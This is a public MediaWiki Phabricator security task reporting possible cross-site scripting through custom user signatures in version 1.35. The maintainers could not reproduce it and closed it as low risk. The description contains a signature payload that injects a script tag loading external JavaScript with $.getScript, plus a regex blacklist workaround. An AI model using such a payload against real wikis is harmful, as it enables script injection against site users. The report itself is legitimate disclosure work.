Page MenuHomePhabricator

Cross-site scripting in fancy signatures
Closed, ResolvedPublicSecurity

Description

Under MediaWiki 1.35, possibly, also later versions.

If custom user signatures are allowed, a specially constructed signature can load an external JavaScript.

Example of such signature: <span style="display: none;">[[#%3Cscript%3E$.getScript('//people.wikimedia.org/~zabe/alert.js')%3C/script%3E| </span>[[Участник:User name|User name]]. The domain in the example is real! (UPD: replaced with a save example)

Workaround (possibly vulnerable, so, better not published):

$wgSignatureValidation = 'disallow';
$wgSignatureBlacklist = [ '/script/i', '/basemetrik/i' ];
$wgHooks['PreferencesFormPreSave'][] = function(
	array $formData,
	PreferencesFormOOUI $form,
	User $user,
	bool &$result,
	array $oldUserOptions
): bool {
	global $wgSignatureBlacklist;
	foreach ( $wgSignatureBlacklist as $pattern ) {
		if ( preg_match( $pattern, $formData['nickname'] ) ) {
			$user->setOption( 'nickname', null );
		}
	}
	return true;
};

Details

Risk Rating
Low
Author Affiliation
Wikimedia Communities

Event Timeline

Zabe subscribed.

replaced the example with a harmless one.

I can't reproduce this in the current master version.

mmartorana changed the task status from Open to In Progress.Feb 16 2023, 4:39 PM
mmartorana triaged this task as Low priority.
mmartorana changed Risk Rating from N/A to Low.

Hi @alex-mashin - I cannot reproduce this issue in current master version as well.

Hi @alex-mashin - I cannot reproduce this issue in current master version as well.

Can you try 1.35? That's still a supported version until this coming September, so we should confirm the issue and then try to figure out what changed with any related signature code, so that this no longer appears to be an issue within later releases and master/main.

Hi @alex-mashin - I'm sorry, but I'm not able to reproduce the problem in version 1.35 either. Could you please give me more information to help me understand the issue better?

Thanks

sbassett changed Author Affiliation from N/A to Wikimedia Communities.Mar 14 2023, 9:53 PM

@alex-mashin - I also cannot seem to reproduce this issue under REL1_35 using MediaWiki Docker to serve/test locally. I've tried several variations of the signature within the task description and I can't get an XSS payload to actually execute. Can you tell us a little more about the wiki and/or test environment where this issue was confirmed? Perhaps it's doing something a bit different from a basic MediaWiki install...

@alex-mashin - I also cannot seem to reproduce this issue under REL1_35 using MediaWiki Docker to serve/test locally. I've tried several variations of the signature within the task description and I can't get an XSS payload to actually execute. Can you tell us a little more about the wiki and/or test environment where this issue was confirmed? Perhaps it's doing something a bit different from a basic MediaWiki install...

I hadn't managed to execute the payload either. I only could inject <script> tag into HTML. But I don't know whether the execution was prevented by the MediaWiki engine or my browser and its settings.

If even that <script> is not executable, it looks like one, frightening users, and might become executable in different browsers or under different settings.

mmartorana claimed this task.

Although the presence of executable javascript code may seem concerning, the appearance of such code without actual execution is unlikely to cause harm. Unfortunately, there is little that can be done about this issue as MediaWiki allows both legitimate HTML tags and escaped HTML as valid wikitext output.
There may even be a MediaWiki page about a component of javascript that may require displaying apparently valid HTML and javascript code.

Let me know if you need further explanation or clarification.

mmartorana changed the visibility from "Custom Policy" to "Public (No Login Required)".Mar 31 2023, 3:40 PM